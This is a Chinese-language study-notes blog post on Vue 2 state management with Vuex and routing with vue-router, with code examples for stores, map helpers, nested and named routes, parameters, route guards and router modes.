  1. 初始化数据、配置actions、配置mutations,操作文件store.js
// 该文件用于创建Vuex中最核心的store
// 引入Vue
import Vue from "vue"
// 引入Vuex
import Vuex from "vuex"
// 使用Vuex插件
Vue.use(Vuex)

// 准备actions--用于响应组件中的动作
const actions = {

    // jia 与 jian 时没有actions直接的业务逻辑,可直接跳转至mutations

    /* jia(context, value) {
        // console.log("action::", context, value);
        context.commit("JIA", value)
    },
    jian(context, value) {
        context.commit("JIAN", value)
    }, */
    jiaodd(context, value) {
        if (context.state.sum % 2) {
            context.commit("JIA", value)
        }
    },
    jiawait(context, value) {
        setTimeout(() => {
            context.commit("JIA", value)
        }, 1000)
    }
}
// 准备mutations--用于操作数据(state)
const mutations = {
    JIA(state, value) {
        // console.log("mutations::", state, value);
        state.sum += value
    },
    JIAN(state, value) {
        state.sum -= value
    },
}
// 准备state--用于存储数据
const state = {
    sum: 0, //当前求和
}
// 创建并暴露store
export default new Vuex.Store({
    actions,
    mutations,
    state
})
  1. 组件中读取vuex中的数据:$store.state.sum
  2. 组件中修改vuex中的数据: $store.dispatch(' action中的方法名' ,数据)$store.commit('mutations中的方法名 ,数据)

备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

  1. src/components/CountGc.vue
<template>
  <div>
    <h2>当前求和为:{{ $store.state.sum }}</h2>
    <select v-model.number="n">
      <option value="1">1</option>
      <option value="2">2</option>
      <option value="3">3</option>
    </select>
    <button @click="increament">+</button>
    <button @click="decreament">-</button>
    <button @click="increamentOdd">为奇数时加</button>
    <button @click="increamentWait">等一会加</button>
  </div>
</template>

<script>
export default {
  name: "CountGc",
  data() {
    return {
      n: 1, //选择的数字
    };
  },
  methods: {
    increament() {
      this.$store.commit("JIA", this.n);
    },
    decreament() {
      this.$store.commit("JIAN", this.n);
    },
    increamentOdd() {
      this.$store.dispatch("jiaodd", this.n);
    },
    increamentWait() {
      this.$store.dispatch("jiawait", this.n);
    },
  },
  mounted() {console.log(this);},
};
</script>

<style> button {margin: 7px;}</style>

26.4 getters配置项

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。(逻辑复杂且想复用)
  2. store.js中追加getters配置
    const getters = {
        bigsum( state){
            return state.sum *16
        }
    }
    //创建并暴露store
    export default new Vuex.Store({
        ......
        getters
    })

3.组件中读取数据:$store.getters.bigSum

26.5 四个map方法的使用

先导入:import { mapState, mapGetters, mapMutations, mapActions } from "vuex";

  1. mapState方法:用于帮助我们映射state中的数据为计算属性
<script>
    computed: {
    // 程序员自己亲自去写计算属性
    /* sum() {return this.$store.state.sum;}, */
        //借助mapState生成计算属性: sum、 school、 subject(对象写法)
        ...mapState({sum:'sum',school:'school',subject:'subject'}),
        //借助mapState生成计算属性: sum、 school、subject(数组写法)
        ...mapstate(['sum','school','subject']),
    },
</script>
  1. mapGetters方法:用于帮助我们映射getters中的数据为计算属性
<script>
    computed: {
    /* bigSum() {return this.$store.getters.bigSum;}, */
        //借助mapGetters生成计算属性: bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
        //借助mapGetters生成计算属性: bigSum(数组写法)
        ...mapGetters(['bigSum']),
    },
</script>
  1. mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数
<template>
    <div>
        ......
        <!-- 在模板中绑定事件时传递好参数 -->
        <button @click="incrementOdd(n)">为奇数时加</button>
        <button @click="incrementWait(n)">等一会加</button>
    </div>
</template>
<script>
    methods : {
        //靠mapActions生成: incrementOdd、 incrementwait(对象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
        //靠mapActions生成: incrementOdd、 incrementWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
</script>
  1. apMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数
<template>
    <div>
        ......
        <button @click="increment(n)">+</button>
        <button @click="decrement(n)">-</button>
    </div>
</template>
<script>
    methods : {
        //靠mapActions生成: increment、 decrement(对象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        // 靠mapMutations生成:JIA、JIAN(对象形式)

        ...mapMutations(['JIA','JIAN']),
    }
</script>

备注: mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

26.6 模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。
  2. 修改store.js,可新建js文件将模块分开
const countAbout = {
    namespaced:true,//开启命名空间
    state:{x:1},
    mutations: { ... },
    actions: { ... },
    getters: {
        bigSum(state){
            return state.sum* 10
        }
    }
}

const personAbout = {
    namespaced:true,//开启命名空间
    state:{ ... },
    mutations: { ... },
    actions: { ... }
}

const store = new Vuex.Store({
    modules: {countAbout,personAbout}
})
  1. 开启命名空间后,组件读取state数据
    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取;
    ...mapState('countAbout',['sum','school','subject'])

4.开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters ['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
  1. 开启命名空间后,组件中调用dispatch
    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonwang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiawait'})
  1. 开启命名空间后,组件中调用commit
    //方式一:自己直接commit
    this.$store.commit("personAbout/ADD_PERSON",person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'})

27. vue-router

vue的一个插件库,专门用来实现SPA应用

27.1 对SPA应用的理解

  1. 单页Web应用(single page web application,SPA)
  2. 整个应用只有一个完整的页面
  3. 点击页面中的导航链接不会刷新页面,只会做页面的局部更新
  4. 数据需要通过ajax请求获取

27.2 路由的理解

  1. 什么是路由?
    (1)一个路由就是一组映射关系(key-value)
    (2)key为路径,value可能是function或component
  2. 路由分类
    • 后端路由
      理解:value是function,用于处理客户端提交的请求
      工作过程:服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据
    • 前端路由
      理解:value是component,用于展示页面内容
      工作过程:当浏览器的路径改变时,对应的组件就会显示
      (1)用户点击了页面上的路由链接(本质是a链接)
      ​(2)导致了 URL 地址栏中的 Hash 值发生了变化
      ​(3)前端路由监听了到 Hash 地址的变化
      ​(4)前端路由把当前 Hash 地址对应的组件渲染都浏览器中

27.3 路由的基本使用

  1. 安装vue-router,命令:npm i vue-router

  2. 应用插件:Vue.use(VueRouter)

  3. 编写router配置项:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    //暴露router
    export default router
    
  4. 实现切换(active-class可配置高亮样式)

    <router-link active-class="active" to="/about">About</router-link>
    
  5. 指定展示位置

    <router-view></router-view>
    

27.4 几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。
  4. 整个应用只有一个router,可以通过组件的$router属性获取到。

27.5 多级路由(嵌套路由)

  1. 配置路由规则,使用children配置项:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children配置子级路由
    			{
    				path:'news', //此处一定不要写:/news
    				component:News
    			},
    			{
    				path:'message',//此处一定不要写:/message
    				component:Message
    			}
    		]
    	}
    ]
    
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>
    

27.6 路由的query参数

  1. 传递参数
<!-- 跳转并携带query参数,to的字符串写法 -->
<router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
<router-link :to="`/home/message/detail?id=${xxx.id}&title=${xxx.title}`">

<!-- 跳转并携带query参数,to的对象写法 -->
<router-link 
:to="{
    path:'/home/message/detail',
    query:{
        id:666,
        title:'你好'
    }
}"
>跳转</router-link>
  1. 接收参数:
    $route.query.id
    $route.query.title

27.7 命名路由

  1. 作用:可以简化路由的跳转。

  2. 如何使用

    (1) 给路由命名:

    {
    	path:'/demo',
    	component:Demo,
    	children:[
    		{
    			path:'test',
    			component:Test,
    			children:[
    				{
                          name:'hello' //给路由命名
    					path:'welcome',
    					component:Hello,
    				}
    			]
    		}
    	]
    }
    

    (2) 简化跳转:

    <!--简化前,需要写完整的路径 -->
    <router-link to="/demo/test/welcome">跳转</router-link>
    
    <!--简化后,直接通过名字跳转 -->
    <router-link :to="{name:'hello'}">跳转</router-link>
    
    <!--简化写法配合传递参数 -->
    <router-link 
    	:to="{
    		name:'hello',
    		query:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    

27.8 路由的params参数

  1. 配置路由,声明接收params参数

    {
    	path:'/home',
    	component:Home,
    	children:[
    		{
    			path:'news',
    			component:News
    		},
    		{
    			component:Message,
    			children:[
    				{
    					name:'xiangqing',
    					path:'detail/:id/:title', //使用占位符声明接收params参数
    					component:Detail
    				}
    			]
    		}
    	]
    }
    
  2. 传递参数

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="`/home/message/detail/${xxx.id}/${xxx.title}`">跳转</router-link>
    				
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
    	:to="{
    		name:'xiangqing',
    		params:{
    		    id:666,
             title:'你好'
    		}
    	}"
    >跳转</router-link>
    

    特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  3. 接收参数:

    $route.params.id
    $route.params.title
    

27.9 路由的props配置

​ 作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件(推荐)
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

27.10 <router-link>的replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录,replace是替换当前记录(就一条)。路由跳转时候默认为push
  3. 如何开启replace模式:<router-link replace .......>News</router-link>

27.11 编程式路由导航

  1. 作用:不借助<router-link> 实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退
    

27.12 缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁。

  2. 具体编码:

    <!-- <keep-alive :include="['News']"> 缓存多个(不是全部),用数组形式 -->
    <keep-alive include="News"> 
        <router-view></router-view>
    </keep-alive>
    

27.13 两个新的生命周期钩子

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
  2. 具体名字:
    1. activated路由组件被激活时触发。
    2. deactivated路由组件失活时触发。

27.14 路由守卫

  1. 作用:对路由进行权限控制

  2. 分类:全局守卫、独享守卫、组件内守卫

  3. 全局守卫:

    //全局前置守卫:初始化时执行、每次路由切换前执行
    router.beforeEach((to,from,next)=>{
    	console.log('beforeEach',to,from)
    	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
    			next() //放行
    		}else{
    			alert('暂无权限查看')
    			// next({name:'guanyu'})
    		}
    	}else{
    		next() //放行
    	}
    })
    
    //全局后置守卫:初始化时执行、每次路由切换后执行
    router.afterEach((to,from)=>{
    	console.log('afterEach',to,from)
    	if(to.meta.title){ 
    		document.title = to.meta.title //修改网页的title
    	}else{
    		document.title = 'vue_test'
    	}
    })
    

27.15 独享守卫:

beforeEnter(to,from,next){
	console.log('beforeEnter',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){
			next()
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next()
	}
}

27.16 组件内守卫:

//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}

27.18 路由器的两种工作模式

  1. 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。
  2. hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器。
  3. hash模式:
    (1) 地址中永远带着#号,不美观 。
    (2) 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
    (3) 兼容性较好。
  4. history模式:
    (1) 地址干净,美观 。
    (2) 兼容性和hash模式相比略差。
    (3) 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。
    nodejs里面解决history问题的中间件
  • 移动端常用UI组件库
  1. Vant—https://youzan.github.io/vant

  2. Cube Ul—https://didi.github.io/cube-ui

  3. Mint Ul—http://mint-ui.github.io

  • PC端常用UI组件库
  1. .Element Ul—https://element.eleme.cn

  2. lView Ul—https://www.iviewui.com

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值